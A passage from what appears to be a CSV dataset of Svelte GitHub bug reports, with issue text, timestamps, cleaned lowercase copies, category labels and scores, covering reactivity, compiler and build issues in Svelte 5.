◆  ✔ Your project has been migrated
│
◇  Recommended next steps: ──────────────────────────────╮
│                                                        │
│  1: Install the updated dependencies by running npm i  │
│  2: git commit -m ""migration to $app/state""            │
│  3: Run git diff to review changes.                    │
│                                                        │
├──────────────────────────────────────────────────... [TRUNCATED]",,2025-09-12 22:53:13+00:00,2025-09-13 19:05:05+00:00,6,nan,0.8416,migration script for app state does not migrate derived describe the bug i have some global derived store that are derived from the deprecated store now i want to migrate them with the script but it does not work it does nothing so i need to do it manually and i am not sure if i am doing it correctly retaining the reactivity any suggestion welcomed reproduction put this snippet in a file and run logs nothing happens or changes shell npx sv migrate app state welcome to the svelte migrate cli v this will update files in the current directory if you re inside a monorepo don t run this in the root directory rather run it in all projects independently continue yes which folders should be migrated src your project has been migrated recommended next steps install the updated dependencies by running npm i git commit m migration to app state run git diff to review changes truncated,others,0.9073
sveltejs/svelte,3404487821,The value of the `hidden` attribute is incorrect,"### Describe the bug

Sometimes the value `""until-found""` for the `hidden` attribute is not correct.

### Reproduction

## OK
```
<svelte:element this={'div'} hidden=""until-found"">aaa</svelte:element>
<div hidden=""until-found"">aaa</div>
```
-> `<div hidden=""until-found"">aaa</div>`

## NG
```
<div {...{ hidden: 'until-found' }}>aaa</div>
{@const hidden = 'until-found'}
<div {hidden}>aaa</div>
```
-> `<div hidden>aaa</div>`

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 15.6.1
    CPU: (12) arm64 Apple M4 Pro
    Memory: 644.67 MB / 48.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.16.0 - /usr/local/bin/node
    npm: 11.4.1 - /usr/local/bin/npm
    pnpm: 10.12.1 - /usr/local/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.155
    Safari: 18.6
  npmPackages:
    svelte: ^5.38.9 => 5.38.9
```

### Severity

annoyance",,2025-09-11 02:23:25+00:00,2025-09-15 17:24:32+00:00,4,nan,4.6258,the value of the attribute is incorrect describe the bug sometimes the value for the attribute is not correct reproduction ok ng logs system info severity annoyance,others,-0.3374
sveltejs/svelte,3401735247,Pseudo element selectors with nested @starting-style don't build correctly,"### Describe the bug

Hi,

When you have a nested `@starting-style` inside a pseudo-element selector, it works in development but doesn't work after the build, the CSS build output is wrong.

Here is an example:
```svelte
<script>
  let element;
</script>

<button onclick={() => element.showModal()}>open</button>

<dialog bind:this={element}>
  test
</dialog>

<style>
  dialog {
    margin: auto;
  }

  dialog::backdrop {
    background: #2E368C7F;
    transition: opacity 1s ease-in;

    @starting-style {
      opacity: 0;
    }
  }
</style>
```

Here is the CSS output (after build):
```css
dialog.svelte-32c170{margin:auto}dialog.svelte-32c170::backdrop{background:#2e368c7f;transition:opacity 1s ease-in}@starting-style{{opacity:0}}
```
Formated output:
```css
dialog.svelte-32c170 {
  margin: auto
}

dialog.svelte-32c170::backdrop {
  background: #2e368c7f;
  transition: opacity 1s ease-in
}

@starting-style {
    {
    opacity: 0
  }
}
```

The `@starting-style` get's placed outside the original selector. If the objective is to place it outside, it needs to have the pseudo-element selector inside it.

Placing the `@starting-style` inside a selector isn't invalid syntax: https://developer.mozilla.org/en-US/docs/Web/CSS/@starting-style#syntax

It doesn't have to be `::backdrop`; it happens with any pseudo-element selector (e.g. `::after`, `::before`) based on my tests.

I'm not sure whether it's a Svelte bug or if some tool used during the build process is treating the CSS inc... [TRUNCATED]",,2025-09-10 09:42:06+00:00,2025-09-17 15:43:18+00:00,8,nan,7.2508,pseudo element selectors with nested starting style don t build correctly describe the bug hi when you have a nested inside a pseudo element selector it works in development but doesn t work after the build the css build output is wrong here is an example here is the css output after build formated output the get s placed outside the original selector if the objective is to place it outside it needs to have the pseudo element selector inside it placing the inside a selector isn t invalid syntax it doesn t have to be it happens with any pseudo element selector e g based on my tests i m not sure whether it s a svelte bug or if some tool used during the build process is treating the css inc truncated,others,-0.8639
sveltejs/svelte,3396059250,Actions & Attachments don't work in the `failed` boundary snippet,"### Describe the bug

Since Svelte 5.36.0 actions & attachments don't work inside the `failed` snippet of a `<svelte:boundary>` anymore.
Experimental async does not need to be enabled.
Might be related to #16627.

### Reproduction

1. Click the ""whatever you do, don't click this button"" button
2. ""ACTION"" & ""ATTACHMENT"" should be logged to the console

- [Working in svelte 5.35.7](https://svelte.dev/playground/a8fa0edeadb3477e9875b66798c9f7bc?version=5.35.7)
- [Not working in svelte 5.36.0](https://svelte.dev/playground/a8fa0edeadb3477e9875b66798c9f7bc?version=5.36.0)

### Logs

```shell

```

### System Info

```shell
Svelte 5.36.0
```

### Severity

blocking an upgrade",,2025-09-08 23:45:04+00:00,2025-10-23 22:27:18+00:00,1,nan,44.946,actions attachments don t work in the boundary snippet describe the bug since svelte actions attachments don t work inside the snippet of a anymore experimental async does not need to be enabled might be related to reproduction click the whatever you do don t click this button button action attachment should be logged to the console working in svelte not working in svelte logs system info severity blocking an upgrade,others,-0.0516
sveltejs/svelte,3391573926,reactivity to external entity does not work,"### Describe the bug

```js
export class Item{
	Name = """";
	Age = 0;
}
```
```js
	import {Item} from ""./entity.js""
	
	let data = $state(new Item()); // does not work
	//let data = $state({Name:"""",Age:0});  // works
```

### Reproduction



[https://svelte.dev/playground/dc3e221656764453a5b6d3c14a7a1542?version=5.38.7](https://svelte.dev/playground/dc3e221656764453a5b6d3c14a7a1542?version=5.38.7)

### Logs

```shell

```

### System Info

```shell
all
```

### Severity

blocking an upgrade",,2025-09-07 12:23:32+00:00,2025-09-07 14:53:48+00:00,5,nan,0.1044,reactivity to external entity does not work describe the bug reproduction logs system info severity blocking an upgrade,others,-0.6808
sveltejs/svelte,3390983174,Array splice leads to infinite loop in each block,"### Describe the bug

[This REPL](https://svelte.dev/playground/d998c7ccb83e4e58a24f9286cc334d81?version=5.38.7) comes from a help thread on discord.
Somehow the second `cards.splice()` (line 26) leads to an infinite loop in the `{#each}` block.

I could track it down to this while loop:
https://github.com/sveltejs/svelte/blob/d92fa432d1032f4e1746af654eb5a7b7f536fbe9/packages/svelte/src/internal/client/dom/blocks/each.js#L708-L712

I was [not able to create a minimal reproduction](https://svelte.dev/playground/6892f5263feb4f948c5a58a0d32ad1e1?version=5.38.7) of this issue.
Edit: It could mean the used libraray (`@dnd-kit/dom/sortable`) is messing with the dom, right?

### Reproduction

https://svelte.dev/playground/d998c7ccb83e4e58a24f9286cc334d81?version=5.38.7
Move a card

### Logs

```shell

```

### System Info

```shell
Svelte: 5.38.7
```

### Severity

annoyance",,2025-09-07 00:00:56+00:00,2025-09-07 00:14:51+00:00,1,nan,0.0097,array splice leads to infinite loop in each block describe the bug this repl comes from a help thread on discord somehow the second line leads to an infinite loop in the block i could track it down to this while loop i was not able to create a of this issue edit it could mean the used libraray is messing with the dom right reproduction move a card logs system info severity annoyance,others,-0.8982
sveltejs/svelte,3390739085,`compilerOptions` ignored in `svelte.config.ts`,"### Describe the bug

I tried using `svelte.config.ts`, since SvelteKit now supports it, but my `compilerOptions` are completely ignored.



### Reproduction

The compilerOptions work in `svelte.config.js`, but not in `svelte.config.ts`:

```js
import adapter from '@sveltejs/adapter-node';
import { vitePreprocess } from '@sveltejs/vite-plugin-svelte';

const config = {
	preprocess: vitePreprocess(),
	kit: {
		adapter: adapter(),
		experimental: {
			remoteFunctions: true
		}
	},
	compilerOptions: {
		experimental: {
			async: true
		}
	}
};
```

### Logs

```shell

```

### System Info

```shell
@sveltejs/kit: ^2.37.1
svelte: ^5.38.7
@sveltejs/vite-plugin-svelte: ^6.1.4
```

### Severity

annoyance",,2025-09-06 19:03:45+00:00,2025-09-06 19:31:02+00:00,1,nan,0.0189,ignored in describe the bug i tried using since sveltekit now supports it but my are completely ignored reproduction the compileroptions work in but not in logs system info severity annoyance,others,-0.7783
sveltejs/svelte,3388280640,Can't redirect from `query` remote function,"### Describe the bug

When executing a `query` remote function with a `redirect` inside, on the top level of a layout or page file, the remote function fails to run.

### Reproduction

https://github.com/TGlide/remote-function-query-redirect-repro

- pnpm install
- pnpm run dev
- go to http://localhost:5173/private
- error in console! (browser and server)

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.16 CachyOS Linux
    CPU: (32) x64 AMD Ryzen 9 7950X3D 16-Core Processor
    Memory: 36.16 GB / 61.95 GB
    Container: Yes
    Shell: 4.0.2 - /bin/fish
  Binaries:
    Node: 22.18.0 - ~/.volta/tools/image/node/22.18.0/bin/node
    npm: 10.9.3 - ~/.volta/tools/image/node/22.18.0/bin/npm
    pnpm: 10.14.0 - ~/.volta/bin/pnpm
  npmPackages:
    svelte: ^5.0.0 => 5.38.7
```

### Severity

blocking an upgrade",,2025-09-05 17:22:55+00:00,2025-09-05 17:42:44+00:00,1,nan,0.0138,can t redirect from remote function describe the bug when executing a remote function with a inside on the top level of a layout or page file the remote function fails to run reproduction pnpm install pnpm run dev go to error in console browser and server logs system info severity blocking an upgrade,others,-0.8625
sveltejs/svelte,3382072126,"Component flag to ""compile away"" a component","### Describe the problem


When I create a component that only renders HTML and maybe a dash of classnames, and renders children it will also add some JS. Based on the REPL the amount of JS _is more than the code I would optimally anticipate_. 

While negligible for few components, if shipping an entire UI library it could accumulate.

A portion of the motivation is for shipping a component library as an API while ""hiding away"" the details of the CSS. Allow users to use `CustomComponent` which can have typescript intellisense, instead of having to know your classnames.

_I performed a search and browsed for similar topics, but please excuse and redirect me if this is already discussed / under discussion / resolved_

## Example

imagine a `Title.svelte` in which the component _could_ only consist of... (omitting script tag contents):
```
<div class=""card-title"">{@render children()}</div>
```

[Check out this repl showing a setup like this](https://svelte.dev/playground/7fd743e4a32847c89ef38e0af09cfaf3?version=5.38.6)

If you check the output—ignoring the optimizations of gzipping and such—there is 14 lines of JS for the module itself, as well as some amount of JS generated to call the component.



### Describe the proposed solution

It would be useful to have a <svelte:options> flag to indicate that a component should be ""compiled-away"" or ""inlined"" during the build process.

- This compiler option could put strict constraints on the component, like no runes or snippets and l... [TRUNCATED]",,2025-09-04 04:16:57+00:00,2025-09-04 05:06:32+00:00,1,nan,0.0344,component flag to compile away a component describe the problem when i create a component that only renders html and maybe a dash of classnames and renders children it will also add some js based on the repl the amount of js is more than the code i would optimally anticipate while negligible for few components if shipping an entire ui library it could accumulate a portion of the motivation is for shipping a component library as an api while hiding away the details of the css allow users to use which can have typescript intellisense instead of having to know your classnames i performed a search and browsed for similar topics but please excuse and redirect me if this is already discussed under discussion resolved example imagine a in which the component could only consist of omitting script tag contents check out this repl showing a setup like this if you check the output ignoring the optimizations of gzipping and such there is lines of js for the module itself as well as some amount of js generated to call the component describe the proposed solution it would be useful to have a flag to indicate that a component should be compiled away or inlined during the build process this compiler option could put strict constraints on the component like no runes or snippets and l truncated,others,0.9538
sveltejs/svelte,3380592736,Snippets have incorrect scope when component variables are used as components,"### Describe the bug

Snippets don't have the correct scope for when variables are used as components

```svelte
<script lang=""ts"">
  import { motion } from ""./motion.svelte"";
  const layout = motion;
</script>

<!-- THIS WORKS -->
<!-- <layout.ul>Hello World</layout.ul> -->

<!-- THIS DOESN'T WORK -->
{@render test()}

{#snippet test()}
  <layout.ul>Hello World</layout.ul>
{/snippet}
```

### Reproduction

[PLAYGROUND](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAAE41UWWvbQBD-K9NtoTbI8rtiuS1tICHNQW3IQxTKVh47otKs2B0nMWL_e9nDh5yDvon5jv1mRrudINmgyMQ5lUprLBkMVW2LDKZULYpELKsajcjuOsGb1lFdQSRb4be2Tc0j1uxqf6TB1-qlIkZiIzIxMaWuWoZa0iovBJtCTAsCqJpWaYYOGsWVIrCw1KqBQqTjUIluhThx9FKRcSYbtWbIo-ikoMk4-E8LKmjyYTSC-dn5DG6vf13MYDSaxuIkKNN1PT3DulZwq3S9mIz35UA-9PhxfTq7-jz3XgHtvmqkBWpgNDwYWsfvPm4HuCvCfxxXUDeOQluQSATjM4uM9Rpt8sboe3PpT_8Yen8B0KjFusbDPVyGLby7g0h12aCD76ppFSHxfnXvsGceOptf_jytsXHRjmVjjIDXOwcvDcGuZIOzVpYIOXQOA7i7gIrgL27U8hX3-2wf0Mex0XS5ptK3WmqUjMF-MNy6auS1JiB8ghutnjeDzoI0xymSLR1ghTz4zVKvkBNotWqHe2xnN5BUPiidgaRNYBn_PYR8ekiHeFDkJ30MQJrMq10kw7qiVdInrJCD_WB4rN2F8fhJH7Q9Hzs8gO3ue0uKsA0DxWe_53BB42XOj6b74qK-9SgQo166NQfljYu6bcQ1_9a6Y8b9ZA8T1ujeGWkgh0IsqsdCxB2AzXoH5fApDu9lYH9kFv9R4IfK5J00Fro0Tb3I-g52T4SvpeVDVS800pfUvwyTcd9nenz17xPBsqqfKlqIbClrg_YfceSjiLMFAAA=)


### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (12) arm64 Apple M2 Max
    Memory: 101.75 MB / 32.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 23.11.0 - /opt/homebrew/bin/node
    Yarn: 1.22.... [TRUNCATED]",,2025-09-03 17:05:17+00:00,2025-09-11 00:20:06+00:00,0,nan,7.302,snippets have incorrect scope when component variables are used as components describe the bug snippets don t have the correct scope for when variables are used as components reproduction playground system info shell system os macos cpu arm apple m max memory mb gb shell bin zsh binaries node opt homebrew bin node yarn truncated,others,-0.4588
sveltejs/svelte,3379878746,Reactivity not updating with SvelteMap,"### Describe the bug

I was trying to update a SvelteMap, and even though the change went through in the map itself, it never updated the state anywhere. Please review the reproduction.

It appears that getting an object from the map, editing it, and reinserting the same object into the map doesn't cause it to update the state. Replacing the last line in the setTimeout with `items.set('test', { value: ""def"" })` *does* update the state.

This strikes me as weird, as in the documentation it says the values inside of the SvelteMap is not made to be reactive, which would make me assume that there's nothing special or different about any object returned out of a SvelteMap.

It's worth noting that I am running SvelteKit's dev server using `bun`, not `node`, and `@sveltejs/adapter-static` (however this was all tested/ran using the dev server).

### Reproduction

```ts
// map.svelte.ts
import { SvelteMap } from 'svelte/reactivity';

export const items: SvelteMap<string, { value: string }> = new SvelteMap();
items.set('test', { value: 'abc' });

setTimeout(() => {
	const item = items.get('test');
	if (!item) return false;

	item.value = 'def';

	items.set('test', item); // here
}, 1000);
```

### Logs

```shell

```

### System Info

```shell
System:
    OS: macOS 26.0
    CPU: (11) arm64 Apple M3 Pro
    Memory: 1.44 GB / 18.00 GB
    Shell: 5.9 - /bin/zsh
  Binaries:
    Node: 22.13.1 - /usr/local/bin/node
    Yarn: 1.22.22 - /usr/local/bin/yarn
    npm: 10.9.2 - /usr/local/bin/npm
... [TRUNCATED]",,2025-09-03 13:29:08+00:00,2025-09-03 14:25:31+00:00,1,nan,0.0392,reactivity not updating with sveltemap describe the bug i was trying to update a sveltemap and even though the change went through in the map itself it never updated the state anywhere please review the reproduction it appears that getting an object from the map editing it and reinserting the same object into the map doesn t cause it to update the state replacing the last line in the settimeout with does update the state this strikes me as weird as in the documentation it says the values inside of the sveltemap is not made to be reactive which would make me assume that there s nothing special or different about any object returned out of a sveltemap it s worth noting that i am running sveltekit s dev server using not and however this was all tested ran using the dev server reproduction logs system info shell system os macos cpu arm apple m pro memory gb gb shell bin zsh binaries node usr local bin node yarn usr local bin yarn npm usr local bin npm truncated,others,-0.4466
sveltejs/svelte,3378203317,`null` and `undefined` events are handled differently,"### Describe the bug

> All other attributes are included unless their value is [nullish](https://developer.mozilla.org/en-US/docs/Glossary/Nullish) (`null` or `undefined`).

https://svelte.dev/docs/svelte/basic-markup#Element-attributes

> Because events are just attributes, the same rules as for attributes apply:

https://svelte.dev/docs/svelte/basic-markup#Events

However, `ondblclick={null}` is treated differently in the JS output:

```svelte
<button name={undefined} value={null} onclick={undefined} ondblclick={null}></button>
```

```js
$.set_attribute(button, 'name', undefined);
$.set_value(button, null);
button.__click = undefined;

button.__dblclick = function (...$$args) {
  (null)?.apply(this, $$args);
};
```

Shouldn't this be `button.__dblclick = null;` instead?

### Reproduction

https://svelte.dev/playground/d6dd8c1f6355475fbe357d501b60137a?version=5.38.6

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2025-09-03 03:56:01+00:00,2025-09-04 05:14:32+00:00,3,nan,1.0545,and events are handled differently describe the bug all other attributes are included unless their value is nullish or because events are just attributes the same rules as for attributes apply however is treated differently in the js output shouldn t this be instead reproduction logs system info severity annoyance,others,-0.4404
sveltejs/svelte,3378095192,The bind:open feature does not work under dialog,"### Describe the bug

Object literal may only specify known properties, and '""bind:open""' does not exist in type 'HTMLProps<""dialog"", HTMLAttributes<any>>'.ts(2353)
`bind:open` can only be used with <details>
https://svelte.dev/e/bind_invalid_targetsvelte(bind_invalid_target)

### Reproduction

`<dialog bind:open={open} ..>..</dialog>`

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.1 Debian GNU/Linux 12 (bookworm) 12 (bookworm)
    CPU: (32) x64 Intel(R) Core(TM) i9-14900HX
    Memory: 17.41 GB / 31.12 GB
    Container: Yes
    Shell: 3.6.0 - /usr/bin/fish
  Binaries:
    Node: 22.16.0 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/node
    npm: 10.9.2 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/npm
    pnpm: 10.12.1 - ~/.version-fox/temp/1756483200-5086/nodejs/bin/pnpm
  Browsers:
    Chrome: 139.0.7258.138
  npmPackages:
    svelte: ^5.38.6 => 5.38.6
```

### Severity

annoyance",,2025-09-03 02:44:38+00:00,2025-09-03 06:19:19+00:00,1,nan,0.1491,the bind open feature does not work under dialog describe the bug object literal may only specify known properties and bind open does not exist in type htmlprops ts can only be used with reproduction logs system info severity annoyance,feature,-0.6486
sveltejs/svelte,3372154141,Await uses the previous value when promise is updated,"### Describe the bug

Having a promise that is stored in a state rune and awaited in the template code seems to have a bug where it uses the previously resolved value of the promise to render the template. The issue appeared in our codebase in a place where we have a promise returning data that can have different shapes. When the promise variable is reassigned a new promise our application crashes due to the code trying to access a value which is no longer available due to the variable having a new promise as its state. 

I would have expected the re-assigning the variable containing the promise would instantly render the loading state such that the code inside the `{then}` block would not be hit until the new promise has resolved. The example is quite simplified in the REPL but it shows the general problem. 

So to reproduce: 
* Have a state rune with promise that can return different shapes of data
* await the promise in the template and access the resolved value
* Re-assign the state variable and see that the application crashes


### Reproduction

Click the button and see that the app crashes due to accessing a value which no longer exists since the promise has been updated to a new promise which should render the loading state instead of the data. 

Repro: https://svelte.dev/playground/0515270734184612838039274f00acde?version=5.38.6

### Logs

```shell
See the log in the REPL when clicking the button
```

### System Info

```shell
System:
    OS: macOS 15.5
    CPU: (10)... [TRUNCATED]",,2025-09-01 10:31:00+00:00,2026-05-19 14:28:46+00:00,2,nan,260.1651,await uses the previous value when promise is updated describe the bug having a promise that is stored in a state rune and awaited in the template code seems to have a bug where it uses the previously resolved value of the promise to render the template the issue appeared in our codebase in a place where we have a promise returning data that can have different shapes when the promise variable is reassigned a new promise our application crashes due to the code trying to access a value which is no longer available due to the variable having a new promise as its state i would have expected the re assigning the variable containing the promise would instantly render the loading state such that the code inside the block would not be hit until the new promise has resolved the example is quite simplified in the repl but it shows the general problem so to reproduce have a state rune with promise that can return different shapes of data await the promise in the template and access the resolved value re assign the state variable and see that the application crashes reproduction click the button and see that the app crashes due to accessing a value which no longer exists since the promise has been updated to a new promise which should render the loading state instead of the data repro logs system info shell system os macos cpu truncated,others,0.9664
sveltejs/svelte,3369458110,`$effect`s created after the first top-level await never execute,"### Describe the bug

See https://github.com/sveltejs/svelte/issues/16682#issuecomment-3236010506
The issue here is that regular user effects (ones made specifically with `$effect`, not `$effect.pre` or render effects) are deferred until the component is mounted. However, since the code that indicates the component as being mounted, `$.pop`, runs synchronously (even in async components), the effects are never added to the array of deferred effects for their component (and might(?) be added to the parent component if it exists) if they're created after the first top-level await. 

### Reproduction

[Playground](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACm3MwQrCMBCE4VcJg4cUgt5TFUQUH8Cb8RDbrQTWpDTbVim-uxT05vXjn5kQ_YNgcSLmpMbUca001UGoLmDQBKYMe5kgr3buZoD5rXZtu8wDscx285n-eZWiUJQMi3WuutDK1kUnfvRBlMPguSeH0sVZF9Q0VInWhdpsVZViTkxLTnftcDgeD_uzQ1GULq5X3y8YCD0FVrqe3lcD8YHHEGvYxnOm9weEAYNF5AAAAA==) 

### Logs

```shell

```

### System Info

```shell
N/A
```

### Severity

annoyance",,2025-08-30 20:07:00+00:00,2025-09-11 14:58:57+00:00,2,nan,11.7861,s created after the first top level await never execute describe the bug see the issue here is that regular user effects ones made specifically with not or render effects are deferred until the component is mounted however since the code that indicates the component as being mounted runs synchronously even in async components the effects are never added to the array of deferred effects for their component and might be added to the parent component if it exists if they re created after the first top level await reproduction playground logs system info severity annoyance,others,0.2732
sveltejs/svelte,3366638343,Checkbox's onclick does not update own state,"### Describe the bug

I want to derive the value of a checkbox from a state.

When an `onclick` handler (with preventDefault) changes its own `checked` state, it does not seem to be applied.

This seems like a bug.
If it is intended behavior, can anyone point out a reason or explanation?

The reason why I need the `preventDefault()` in my production use case is that I would like to only set the `checked` state if other conditions are met, not just as a direct consequence of the click.

~~~svelte
<script>
	let on = $state(true);
	const toggle = () => {
		on = !on;
	}
</script>

<h1>Switches! on={on}</h1>

<label>
	<input
		checked={on}
		type=checkbox
		onclick={(evt) => {
			evt.preventDefault();
			toggle();
		}}
	>
	on
</label>
<br>
<button onclick={() => toggle()}>
	{on ? ""on"" : ""off""}
</button>

~~~

### Reproduction

Steps to reproduce the issue in the REPL:

1. click on the checkbox
2. observe that it changes the state in the header and button
3. observe that it does not check the checkbox (whose value is derived from the same state)

<https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACm1QPU_DMBD9K-6JIZVQI9aQBCExsDNiBie5tFaNHcWXtijKf-d8oZSBJXLe3fu6Gbz5RCjgFZ0L6hxG16kMO0vYbeEeeuswQvE-A30NaS8BjP-wnodhF0_oKGGNifgf3gZP6IlloIztaAeqtdfkkFTwqlJ3kQxhRuOE28c0YUIkRWG_d8jzbKuqWs1pokkYm-BlcdG-zG-Svjw81G9nS-0B44bFqzn4pcwZlakzDTrxLq0fJloVebk9Yie7K5KqVgI34XK1bZ1tj9Wc4Yn-5tHEwG4Y8cQVX7A3k6NsrSFSUuIXWMRBIoSUKL9GKptRvhOlhjc3sbqKLELknOpJaWABUEV69L0GOcVKr_nmhBeCIp10-eA_Y... [TRUNCATED]",,2025-08-29 12:04:18+00:00,2025-08-29 18:14:48+00:00,4,nan,0.2573,checkbox s onclick does not update own state describe the bug i want to derive the value of a checkbox from a state when an handler with preventdefault changes its own state it does not seem to be applied this seems like a bug if it is intended behavior can anyone point out a reason or explanation the reason why i need the in my production use case is that i would like to only set the state if other conditions are met not just as a direct consequence of the click svelte let on state true const toggle on on switches on on input checked on type checkbox onclick evt evt preventdefault toggle on toggle on on off reproduction the issue in the repl click on the checkbox observe that it changes the state in the header and button observe that it does not check the checkbox whose value is derived from the same state truncated,others,0.7096
sveltejs/svelte,3364736523,`push` array is not proxied when array is optional,"### Describe the bug

Hi, I found an issue that might be expected behavior but it's odd as you can make it work by mutating unrelated state

When using the rune $state inside a class to expose a prop, `myClass.prop` it behaves as expected, it also behaves correctly when nesting it inside a sub property that is itself another class `myClass.childClass.prop` 
But when that childClass is optional, that is `myClass.childClass?.prop` things get weird, primitives like string, boolean, numbers work fine, they are reactive all the way back to the ui, but when using an array method like `push` it is not reactive.

The odd thing about all of this is that if you have two or more `$states`s inside the class chain and modify any of them, the changes of the `push` do get propagated.

I created this simple repro in the svelte playground, it uses two classes, 
TestClass and OptionalChild, the OptionalChild get initiated after one second using set Interval (but this works by any delayed initialization)  

Inside we modify the array every second but it does not update in the UI, if you uncomment any of the lines that modify other props it will suddenly also update the array state in the UI

### Reproduction

https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAACn2STW_bMAyG_wohDLCNBU5yzUeHoaedeulOTQ-aQ89aZcmQmKRF4P8-Ss6HhaQ92IJIviRFPkdhZItiIbqdb4DQk5iIWmn0YvFyFPTRBWcwsP0U-rPrSr9HTcH2R3q8Z6-sITTEacTKV0519LAxG1JtZx3BEZ651KOW3kMPtbMtZOU0lD9lKP_5bBkEnMdTbAzWYPBwFeYF-zkifB7pF9dze6nzv... [TRUNCATED]",,2025-08-28 21:31:00+00:00,2025-08-29 07:41:58+00:00,8,nan,0.4243,array is not proxied when array is optional describe the bug hi i found an issue that might be but it s odd as you can make it work by mutating unrelated state when using the rune state inside a class to expose a prop it behaves as expected it also behaves correctly when nesting it inside a sub property that is itself another class but when that childclass is optional that is things get weird primitives like string boolean numbers work fine they are reactive all the way back to the ui but when using an array method like it is not reactive the odd thing about all of this is that if you have two or more s inside the class chain and modify any of them the changes of the do get propagated i created this simple repro in the svelte playground it uses two classes testclass and optionalchild the optionalchild get initiated after one second using set interval but this works by any delayed initialization inside we modify the array every second but it does not update in the ui if you uncomment any of the lines that modify other props it will suddenly also update the array state in the ui reproduction truncated,others,-0.25
sveltejs/svelte,3361961609,Top level await breaks stores as of 5.38.3,"### Describe the bug

Using a top level await causes any stores created in the same script to be undefined when accessed in the template. This seems to have been introduced with v5.38.3.

`await` inside of the template works fine. The order of code in the script does not matter (i.e. `await`ing before or after creating the store doesn't matter).

### Reproduction

REPL: https://svelte.dev/playground/72abfb8ea2a7418ab7454ef9fee42569?version=5.38.6

Run the following component, and observe the error.

```svelte
<script>
	import { writable } from 'svelte/store';

	await Promise.resolve();
	const count = writable(0);
</script>

{$count}

```

### Logs

Log taken from loading the above REPL

```shell

Uncaught (in promise) ReferenceError: count is not defined

  in <unknown>
  in App.svelte
  in __wrapper.svelte
    $count playground:output:4903
    App playground:output:4918
    template_effect playground:output:3262
    update_reaction playground:output:3756
    update_effect playground:output:3936
    create_effect playground:output:3140
    template_effect playground:output:3262
    flatten playground:output:1533
    template_effect playground:output:3261
    App playground:output:4918
    async_body playground:output:1622
    App playground:output:4907
    __wrapper playground:output:4944
    add_svelte_meta playground:output:602
    __wrapper playground:output:4944
    <anonymous> playground:output:1011
    update_reaction playground:output:3756
    update_effect playground:... [TRUNCATED]",,2025-08-28 06:20:49+00:00,2025-08-30 19:52:09+00:00,14,nan,2.5634,top level await breaks stores as of describe the bug using a top level await causes any stores created in the same script to be undefined when accessed in the template this seems to have been introduced with v inside of the template works fine the order of code in the script does not matter i e ing before or after creating the store doesn t matter reproduction repl run the following component and observe the error logs log taken from loading the above repl shell uncaught in promise referenceerror count is not defined in in app svelte in wrapper svelte count playground output app playground output template effect playground output update reaction playground output update effect playground output create effect playground output template effect playground output flatten playground output template effect playground output app playground output async body playground output app playground output wrapper playground output add svelte meta playground output wrapper playground output playground output update reaction playground output update effect playground truncated,others,0.686
sveltejs/svelte,3361010494,TypeError: Cannot read properties of null (reading 'deactivate'),"### Describe the bug

After a boundary has caught an error in $derived await, if a reset() is performed, the following error is thrown:

```
Uncaught (in promise) TypeError: Cannot read properties of null (reading 'deactivate')
    at unsuspend (playground:output:2265:11)
    at async_body (playground:output:1673:4)
```

https://github.com/sveltejs/svelte/blob/942eaf027bc08625ed501473861a8dc618b1929e/packages/svelte/src/internal/client/reactivity/batch.js#L685

### Reproduction

https://svelte.dev/playground/dcd78c4674c24e82b6cb78423c248fbf?version=5.38.5

### System Info

```shell
Svelte 5.38.5
```

### Severity

annoyance",,2025-08-27 22:20:05+00:00,2025-09-04 02:06:18+00:00,0,nan,7.1571,typeerror cannot read properties of null reading deactivate describe the bug after a boundary has caught an error in derived await if a reset is performed the following error is thrown reproduction system info severity annoyance,bug,-0.872
sveltejs/svelte,3360541416,Inconsistent Whitespace Trimming,"### Describe the bug

Whitespace sometimes gets trimmed within `if` blocks.

With this code:
```svelte
{#if name}- {#if txt}({txt}) {/if}{name}{/if}
```
I used to get
```
- (25) Title Text
```
Now I get
```
- (25)Title Text
```

The first `if` prints the whitespace, but the second inner `if` does not.

### Reproduction

[Repl: Inconsistent Whitespace Trimming](https://svelte.dev/playground/hello-world?version=5.38.6#H4sIAAAAAAAAA31RQW7CMBD8ympBAqSUUI5pQlVVHLhwoVIPdSUMcVpLsWPFG0pl-e-VS1IKLdx2ZjXj2bFDzZXABBd6W2krLQlN8PwuSVjDtwKeaqmU1G8YYSFLYTF5cUifJmgCgVHn8GDM2O5ESYHbcCv-47eVDi9YTDC121oamjHNSCpT1QRzs9BFBUVdKRiM4wNsxQOm0_go0Wkud7O0VQiz5EpkDOcGercMA9GojOFhXgluK93CeJbGQXvNYvrL4md-rNRGapEHbnLNFyMksSdMqG6Ejy70dXLdaWXnqwutlYLAMQ0AbXrIoNG5KELK6GfRqEt8d9HZnhGj7rg_Ug8Z9E1dGTsc3Z39iVv3XSf0-zAvG3U_NjxfEa9pOI1gMBmM_Noz7XqyaGP7G-jQMZMfulM8AhfLwrtW8w3Ou36NkLgsP6TOMSl4aYX_AjdM9zXiAgAA)

### Logs

```shell

```

### System Info

```shell
Doesn't matter, whitespace being trimmed by compiler.
```

### Severity

annoyance",,2025-08-27 19:01:44+00:00,2025-08-27 19:09:14+00:00,2,nan,0.0052,inconsistent whitespace trimming describe the bug whitespace sometimes gets trimmed within blocks with this code i used to get now i get the first prints the whitespace but the second inner does not reproduction repl inconsistent whitespace trimming logs system info severity annoyance,others,-0.6597
sveltejs/svelte,3358632496,Passing props with {@render} to a dynamically loaded component do not work,"### Describe the bug

Hello, it seems that passing props to a dynamically loaded component using `{@render}` does nit work

The case:

`Test.svelte`

```svelte
<script>
	let { id } = $props();
</script>

<h1>TEST: {id}</h1>
```

`Renderer.svelte`

```svelte
<script>
	let { component } = $props();
</script>

{@render component({id: 123})}
```


`App.svelte`

```svelte
<script>
  import Test from './Test.svelte';	
	import Renderer from './Renderer.svelte';
</script>

